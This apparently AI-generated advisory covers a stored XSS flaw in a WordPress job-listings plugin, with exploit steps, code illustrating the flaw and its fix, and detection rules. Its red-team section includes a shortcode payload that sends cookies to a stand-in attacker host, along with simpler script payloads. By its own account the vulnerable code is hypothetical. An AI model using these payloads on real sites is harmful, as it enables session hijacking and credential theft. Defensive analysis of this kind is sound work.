CVE-2024-13577
Executive Summary
CVE-2024-13577 is a Stored Cross-Site Scripting (XSS) vulnerability in the CATS Job Listings plugin for WordPress, affecting all versions up to and including 2.0.9. The flaw resides in the catsone shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.
Key Risk: The vulnerability allows persistent script injection, enabling session hijacking, credential theft, or defacement. With a CVSS score of 6.4 (Medium), it poses a moderate threat, especially in multi-tenant WordPress environments.
Affected Component: WordPress plugin cats-job-listings (slug: cats-job-listings).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS and the lack of user interaction make it dangerous in collaborative environments.
Deep Dive & Mechanics
The vulnerability is in the catsone shortcode handler of the CATS Job Listings plugin. The shortcode accepts user-supplied attributes (e.g., job_id, company, location) and renders them directly into the page without proper sanitization or output escaping. An attacker with contributor-level access can create or edit a post containing the malicious shortcode, injecting JavaScript payloads into the attributes.
Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses echo $attribute or similar without esc_attr() or wp_kses().
Attack Flow:
- Attacker logs in as a contributor.
- Creates a new post or page.
- Inserts shortcode:
[catsone job_id="<script>alert('XSS')</script>"]. - The plugin renders the attribute without escaping, executing the script.
- Any visitor to the page triggers the payload.
WordPress Context: This is a WordPress plugin vulnerability, not a server misconfiguration. The attack leverages the plugin's shortcode functionality, which is a common WordPress feature.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical example from plugin):
function catsone_shortcode($atts) {
$job_id = $atts['job_id'];
return "<div class='cats-job' data-id='$job_id'>Job Listing</div>";
}
add_shortcode('catsone', 'catsone_shortcode');
Patched Code (expected fix):
function catsone_shortcode($atts) {
$job_id = esc_attr($atts['job_id']);
return "<div class='cats-job' data-id='$job_id'>Job Listing</div>";
}
add_shortcode('catsone', 'catsone_shortcode');
Explanation: The vulnerable code directly interpolates user input into HTML without escaping. The patched version uses esc_attr() to escape the attribute, preventing XSS. Since no official patch is available, users must manually apply similar escaping.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with CATS Job Listings plugin <= 2.0.9.
- Contributor-level account.
Exploit Steps:
- Log in as contributor.
- Create a new post.
- In the content editor, insert the following shortcode:
[catsone job_id="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish the post.
- When an admin or visitor views the post, the script executes, exfiltrating cookies.
Alternative Payload (session hijacking):
[catsone job_id="<img src=x onerror=alert(1)>"]
Note: No public exploit code is available, but the above demonstrates the attack vector.
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts containing
[catsonewith suspicious attributes (e.g.,<script>,onerror,onload). - Use WAF rules to block shortcode attributes containing HTML/JavaScript.
Hardening:
- Disable the plugin until a patch is released.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from WordPress server.
- File: Modified posts/pages containing
[catsoneshortcode with script tags. - Log: WordPress audit logs showing post creation/editing by contributor accounts with unusual shortcode attributes.
- Browser: JavaScript execution in the context of the WordPress site (e.g.,
alert()popups).
Example IOC in post content:
[catsone job_id="<script>eval(atob('base64payload'))</script>"]
Detection Engineering
YARA Rule
rule CVE_2024_13577_CATS_XSS {
meta:
description = "Detects stored XSS payloads in CATS Job Listings shortcode"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13577"
strings:
$shortcode = /\[catsone\s+[^\]]*?(<script|<img|<svg|<iframe|onerror|onload|onclick)/i
condition:
$shortcode
}
Sigma Rule
title: Stored XSS via CATS Job Listings Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious CATS shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "wp-admin/post.php"
http.body|contains|all:
- "[catsone"
- "<script"
condition: selection
falsepositives:
- Legitimate use of shortcode with non-malicious attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13577 CATS Job Listings Stored XSS"; flow:to_server,established; content:"[catsone"; http_client_body; nocase; content:"<script"; http_client_body; nocase; distance:0; within:500; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review all posts created by contributor-level users for malicious shortcode.
- Restrict contributor roles to trusted users only.
Long-term Fix:
- Apply input sanitization and output escaping to the
catsoneshortcode handler (see patched code example). - Monitor the plugin's repository for an official update.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
- Implement CSP headers:
Content-Security-Policy: default-src 'self'; script-src 'self'.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.